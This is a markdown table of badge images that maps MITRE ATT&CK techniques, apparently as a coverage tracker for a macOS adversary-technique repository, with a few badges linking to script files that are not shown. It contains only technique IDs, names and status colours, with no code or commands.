| ![T1195.002](https://img.shields.io/badge/T1195.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Compromise Software Supply Chain | ![T1559](https://img.shields.io/badge/T1559-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Inter-Process Communication | ![T1543.004](https://img.shields.io/badge/T1543.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Launch Daemon | ![T1574.006](https://img.shields.io/badge/T1574.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Dynamic Linker Hijacking | ![T1497.001](https://img.shields.io/badge/T1497.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)System Checks | ![T1552](https://img.shields.io/badge/T1552-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Unsecured Credentials | ![T1016.002](https://img.shields.io/badge/T1016.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Wi-Fi Discovery | | ![T1560.002](https://img.shields.io/badge/T1560.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Archive via Library | ![T1090.002](https://img.shields.io/badge/T1090.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)External Proxy | ![T1567.002](https://img.shields.io/badge/T1567.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration to Cloud Storage | ![T1657](https://img.shields.io/badge/T1657-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Financial Theft |
| ![T1078.002](https://img.shields.io/badge/T1078.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Domain Accounts | ![T1203](https://img.shields.io/badge/T1203-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exploitation for Client Execution | ![T1505.003](https://img.shields.io/badge/T1505.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Web Shell | ![T1548](https://img.shields.io/badge/T1548-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Abuse Elevation Control Mechanism | ![T1070.002](https://img.shields.io/badge/T1070.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Clear Linux or Mac System Logs | ![T1555.003](https://img.shields.io/badge/T1555.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Credentials from Web Browsers | ![T1010](https://img.shields.io/badge/T1010-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Application Window Discovery | | ![T1560](https://img.shields.io/badge/T1560-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Archive Collected Data | ![T1090](https://img.shields.io/badge/T1090-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Proxy | ![T1030](https://img.shields.io/badge/T1030-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data Transfer Size Limits | ![T1491.001](https://img.shields.io/badge/T1491.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Internal Defacement |
| ![T1200](https://img.shields.io/badge/T1200-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hardware Additions | ![[T1059.006](https://raw.githubusercontent.com/darmado/ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1059.006-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)Python | ![T1078.001](https://img.shields.io/badge/T1078.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Default Accounts | ![T1548.001](https://img.shields.io/badge/T1548.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Setuid and Setgid | ![T1027.008](https://img.shields.io/badge/T1027.008-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Stripped Payloads | ![T1557.003](https://img.shields.io/badge/T1557.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)DHCP Spoofing | ![T1497.003](https://img.shields.io/badge/T1497.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Time Based Evasion | | ![T1557.003](https://img.shields.io/badge/T1557.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)DHCP Spoofing | ![T1568](https://img.shields.io/badge/T1568-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Dynamic Resolution | ![T1052](https://img.shields.io/badge/T1052-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration Over Physical Medium | ![T1565](https://img.shields.io/badge/T1565-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data Manipulation |
| ![T1189](https://img.shields.io/badge/T1189-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Drive-by Compromise | ![T1569](https://img.shields.io/badge/T1569-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)System Services | ![T1546.005](https://img.shields.io/badge/T1546.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Trap | ![T1098.004](https://img.shields.io/badge/T1098.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)SSH Authorized Keys | ![T1553.001](https://img.shields.io/badge/T1553.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Gatekeeper Bypass | ![T1552.004](https://img.shields.io/badge/T1552.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Private Keys | ![[T1217](https://raw.githubusercontent.com/darmado/ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1217-lightgrey?style=for-the-badge&label=%204%20&labelColor=3bc05a&color=494949)Browser Information Discovery | | ![T1056.003](https://img.shields.io/badge/T1056.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Web Portal Capture | ![T1102](https://img.shields.io/badge/T1102-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Web Service | ![T1048.003](https://img.shields.io/badge/T1048.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration Over Unencrypted Non-C2 Protocol | ![T1531](https://img.shields.io/badge/T1531-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Account Access Removal |
| ![T1566.003](https://img.shields.io/badge/T1566.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Spearphishing via Service | ![T1059.005](https://img.shields.io/badge/T1059.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Visual Basic | ![T1574.006](https://img.shields.io/badge/T1574.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Dynamic Linker Hijacking | ![T1547.015](https://img.shields.io/badge/T1547.015-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Login Items | ![T1553.002](https://img.shields.io/badge/T1553.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Code Signing | ![T1110.003](https://img.shields.io/badge/T1110.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Password Spraying | ![T1016](https://img.shields.io/badge/T1016-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)System Network Configuration Discovery | | ![T1125](https://img.shields.io/badge/T1125-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Video Capture | ![T1568.003](https://img.shields.io/badge/T1568.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)DNS Calculation | | ![T1486](https://img.shields.io/badge/T1486-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data Encrypted for Impact |
| ![T1078.003](https://img.shields.io/badge/T1078.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Local Accounts | ![T1204.001](https://img.shields.io/badge/T1204.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Malicious Link | ![T1136.001](https://img.shields.io/badge/T1136.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Local Account | ![T1546.014](https://img.shields.io/badge/T1546.014-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Emond | ![T1036.009](https://img.shields.io/badge/T1036.009-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Break Process Trees | ![T1056.003](https://img.shields.io/badge/T1056.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Web Portal Capture | ![T1087](https://img.shields.io/badge/T1087-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Account Discovery | | ![T1114.003](https://img.shields.io/badge/T1114.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Email Forwarding Rule | ![T1104](https://img.shields.io/badge/T1104-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Multi-Stage Channels | | ![T1499](https://img.shields.io/badge/T1499-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Endpoint Denial of Service |
| | ![T1053.002](https://img.shields.io/badge/T1053.002-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)At | ![T1098.004](https://img.shields.io/badge/T1098.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)SSH Authorized Keys | ![T1098](https://img.shields.io/badge/T1098-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Account Manipulation | ![T1070.007](https://img.shields.io/badge/T1070.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Clear Network Connection History and Configurations | ![T1649](https://img.shields.io/badge/T1649-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Steal or Forge Authentication Certificates | ![T1083](https://img.shields.io/badge/T1083-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)File and Directory Discovery | | ![T1074](https://img.shields.io/badge/T1074-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data Staged | ![T1205.001](https://img.shields.io/badge/T1205.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Port Knocking | | ![T1496](https://img.shields.io/badge/T1496-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Resource Hijacking |
| | | ![T1136.002](https://img.shields.io/badge/T1136.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Domain Account | ![T1547.006](https://img.shields.io/badge/T1547.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Kernel Modules and Extensions | ![T1070.003](https://img.shields.io/badge/T1070.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Clear Command History | ![T1552.003](https://img.shields.io/badge/T1552.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Bash History | ![T1049](https://img.shields.io/badge/T1049-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)System Network Connections Discovery | | ![T1056.002](https://img.shields.io/badge/T1056.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)GUI Input Capture | ![T1071.002](https://img.shields.io/badge/T1071.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)File Transfer Protocols | | ![T1565.002](https://img.shields.io/badge/T1565.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Transmitted Data Manipulation |
| | | ![T1542.002](https://img.shields.io/badge/T1542.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Component Firmware | ![T1574](https://img.shields.io/badge/T1574-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hijack Execution Flow | ![[T1140](https://raw.githubusercontent.com/darmado/ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1140-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)Deobfuscate/Decode Files or Information | ![T1552.001](https://img.shields.io/badge/T1552.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Credentials In Files | ![T1497](https://img.shields.io/badge/T1497-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Virtualization/Sandbox Evasion | | ![T1039](https://img.shields.io/badge/T1039-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data from Network Shared Drive | ![T1102.003](https://img.shields.io/badge/T1102.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)One-Way Communication | | ![T1485](https://img.shields.io/badge/T1485-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data Destruction |
| | | ![T1542](https://img.shields.io/badge/T1542-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Pre-OS Boot | ![[T1078](https://raw.githubusercontent.com/darmado/ttp/initial_access/guest_account.sh)](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)Valid Accounts | ![T1562](https://img.shields.io/badge/T1562-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Impair Defenses | ![T1606.001](https://img.shields.io/badge/T1606.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Web Cookies | ![T1654](https://img.shields.io/badge/T1654-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Log Enumeration | | ![T1056](https://img.shields.io/badge/T1056-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Input Capture | ![T1090.003](https://img.shields.io/badge/T1090.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Multi-hop Proxy | | ![T1498](https://img.shields.io/badge/T1498-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Network Denial of Service |
| | | ![T1547.015](https://img.shields.io/badge/T1547.015-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Login Items | ![T1068](https://img.shields.io/badge/T1068-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exploitation for Privilege Escalation | ![T1036](https://img.shields.io/badge/T1036-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Masquerading | ![T1606](https://img.shields.io/badge/T1606-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Forge Web Credentials | ![T1057](https://img.shields.io/badge/T1057-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Process Discovery | | ![T1557.002](https://img.shields.io/badge/T1557.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)ARP Cache Poisoning | ![T1001](https://img.shields.io/badge/T1001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data Obfuscation | | ![T1495](https://img.shields.io/badge/T1495-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Firmware Corruption |
| | | ![T1205.001](https://img.shields.io/badge/T1205.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Port Knocking | ![T1546](https://img.shields.io/badge/T1546-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Event Triggered Execution | ![T1070.008](https://img.shields.io/badge/T1070.008-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Clear Mailbox Data | ![T1621](https://img.shields.io/badge/T1621-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Multi-Factor Authentication Request Generation | ![T1497.002](https://img.shields.io/badge/T1497.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)User Activity Based Checks | | ![T1213](https://img.shields.io/badge/T1213-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data from Information Repositories | ![T1571](https://img.shields.io/badge/T1571-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Non-Standard Port | | ![T1490](https://img.shields.io/badge/T1490-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Inhibit System Recovery |
| | | ![T1554](https://img.shields.io/badge/T1554-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Compromise Host Software Binary | ![T1546.004](https://img.shields.io/badge/T1546.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Unix Shell Configuration Modification | ![T1055](https://img.shields.io/badge/T1055-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Process Injection | ![T1212](https://img.shields.io/badge/T1212-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exploitation for Credential Access | ![T1069.001](https://img.shields.io/badge/T1069.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Local Groups | | | ![T1573](https://img.shields.io/badge/T1573-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Encrypted Channel | | ![T1561.001](https://img.shields.io/badge/T1561.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Disk Content Wipe |
| | | ![T1546.014](https://img.shields.io/badge/T1546.014-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Emond | ![T1548.004](https://img.shields.io/badge/T1548.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Elevated Execution with Prompt | ![T1205](https://img.shields.io/badge/T1205-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Traffic Signaling | ![T1056.002](https://img.shields.io/badge/T1056.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)GUI Input Capture | ![T1201](https://img.shields.io/badge/T1201-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Password Policy Discovery | | | ![T1102.002](https://img.shields.io/badge/T1102.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Bidirectional Communication | | ![T1529](https://img.shields.io/badge/T1529-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)System Shutdown/Reboot |
| | | ![T1098](https://img.shields.io/badge/T1098-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Account Manipulation | ![T1037.005](https://img.shields.io/badge/T1037.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Startup Items | ![T1218](https://img.shields.io/badge/T1218-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)System Binary Proxy Execution | ![T1110](https://img.shields.io/badge/T1110-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Brute Force | ![T1614.001](https://img.shields.io/badge/T1614.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)System Language Discovery | | | ![T1573.002](https://img.shields.io/badge/T1573.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Asymmetric Cryptography | | |
| | | ![T1547.006](https://img.shields.io/badge/T1547.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Kernel Modules and Extensions | ![T1078.002](https://img.shields.io/badge/T1078.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Domain Accounts | ![T1070.006](https://img.shields.io/badge/T1070.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Timestomp | ![T1110.004](https://img.shields.io/badge/T1110.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Credential Stuffing | ![T1614](https://img.shields.io/badge/T1614-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)System Location Discovery | | | ![T1095](https://img.shields.io/badge/T1095-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Non-Application Layer Protocol | | |
| | | ![T1574](https://img.shields.io/badge/T1574-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hijack Execution Flow | ![T1543.001](https://img.shields.io/badge/T1543.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Launch Agent | ![T1620](https://img.shields.io/badge/T1620-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Reflective Code Loading | ![T1556.006](https://img.shields.io/badge/T1556.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Multi-Factor Authentication | ![[T1518.001](https://raw.githubusercontent.com/darmado/ttp/discovery/security_software.sh)](https://img.shields.io/badge/T1518.001-lightgrey?style=for-the-badge&label=%2010%20&labelColor=3bc05a&color=494949)Security Software Discovery | | | ![T1001.003](https://img.shields.io/badge/T1001.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Protocol Impersonation | | |
| | | ![[T1078](https://raw.githubusercontent.com/darmado/ttp/initial_access/guest_account.sh)](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)Valid Accounts | ![T1546.016](https://img.shields.io/badge/T1546.016-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Installer Packages | ![T1564.011](https://img.shields.io/badge/T1564.011-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Ignore Process Interrupts | ![T1056](https://img.shields.io/badge/T1056-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Input Capture | ![T1018](https://img.shields.io/badge/T1018-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Remote System Discovery | | | ![T1090.004](https://img.shields.io/badge/T1090.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Domain Fronting | | |
| | | ![T1556.006](https://img.shields.io/badge/T1556.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Multi-Factor Authentication | ![T1037.004](https://img.shields.io/badge/T1037.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)RC Scripts | ![T1497.003](https://img.shields.io/badge/T1497.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Time Based Evasion | ![T1557.002](https://img.shields.io/badge/T1557.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)ARP Cache Poisoning | ![T1046](https://img.shields.io/badge/T1046-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Network Service Discovery | | | ![T1132](https://img.shields.io/badge/T1132-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data Encoding | | |
| | | ![T1546](https://img.shields.io/badge/T1546-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Event Triggered Execution | ![T1547.007](https://img.shields.io/badge/T1547.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Re-opened Applications | ![T1562.004](https://img.shields.io/badge/T1562.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Disable or Modify System Firewall | ![T1111](https://img.shields.io/badge/T1111-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Multi-Factor Authentication Interception | ![T1518](https://img.shields.io/badge/T1518-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Software Discovery | | | ![T1132.002](https://img.shields.io/badge/T1132.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Non-Standard Encoding | | |
| | | ![T1546.004](https://img.shields.io/badge/T1546.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Unix Shell Configuration Modification | ![T1548.006](https://img.shields.io/badge/T1548.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)TCC Manipulation | ![T1218.015](https://img.shields.io/badge/T1218.015-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Electron Applications | ![T1556](https://img.shields.io/badge/T1556-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Modify Authentication Process | ![T1622](https://img.shields.io/badge/T1622-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Debugger Evasion | | | ![T1071.001](https://img.shields.io/badge/T1071.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Web Protocols | | |
| | | ![T1037.005](https://img.shields.io/badge/T1037.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Startup Items | ![T1053.002](https://img.shields.io/badge/T1053.002-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)At | ![T1553.006](https://img.shields.io/badge/T1553.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Code Signing Policy Modification | | ![T1124](https://img.shields.io/badge/T1124-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)System Time Discovery | | | ![T1105](https://img.shields.io/badge/T1105-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Ingress Tool Transfer | | |
| | | ![T1078.002](https://img.shields.io/badge/T1078.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Domain Accounts | ![T1574.004](https://img.shields.io/badge/T1574.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Dylib Hijacking | ![[T1027.001](https://raw.githubusercontent.com/darmado/ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1027.001-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)Binary Padding | | | | | ![T1665](https://img.shields.io/badge/T1665-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hide Infrastructure | | |
| | | ![T1543.001](https://img.shields.io/badge/T1543.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Launch Agent | ![T1078.003](https://img.shields.io/badge/T1078.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Local Accounts | ![T1078.001](https://img.shields.io/badge/T1078.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Default Accounts | | | | | ![T1001.002](https://img.shields.io/badge/T1001.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Steganography | | |
| | | ![T1505](https://img.shields.io/badge/T1505-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Server Software Component | | ![T1574.006](https://img.shields.io/badge/T1574.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Dynamic Linker Hijacking | | | | | ![T1008](https://img.shields.io/badge/T1008-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Fallback Channels | | |
| | | ![T1546.016](https://img.shields.io/badge/T1546.016-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Installer Packages | | ![T1222](https://img.shields.io/badge/T1222-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)File and Directory Permissions Modification | | | | | ![T1090.001](https://img.shields.io/badge/T1090.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Internal Proxy | | |
| | | ![T1037.004](https://img.shields.io/badge/T1037.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)RC Scripts | | ![T1548](https://img.shields.io/badge/T1548-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Abuse Elevation Control Mechanism | | | | | ![T1102.001](https://img.shields.io/badge/T1102.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Dead Drop Resolver | | |
| | | ![T1136](https://img.shields.io/badge/T1136-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Create Account | | ![T1548.001](https://img.shields.io/badge/T1548.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Setuid and Setgid | | | | | ![T1001.001](https://img.shields.io/badge/T1001.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Junk Data | | |
| | | ![T1547.007](https://img.shields.io/badge/T1547.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Re-opened Applications | | ![T1562.006](https://img.shields.io/badge/T1562.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Indicator Blocking | | | | | | | |
| | | ![T1653](https://img.shields.io/badge/T1653-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Power Settings | | ![T1036.002](https://img.shields.io/badge/T1036.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Right-to-Left Override | | | | | | | |
| | | ![T1053.002](https://img.shields.io/badge/T1053.002-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)At | | ![T1542.002](https://img.shields.io/badge/T1542.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Component Firmware | | | | | | | |
| | | ![T1556](https://img.shields.io/badge/T1556-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Modify Authentication Process | | ![T1070](https://img.shields.io/badge/T1070-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Indicator Removal | | | | | | | |
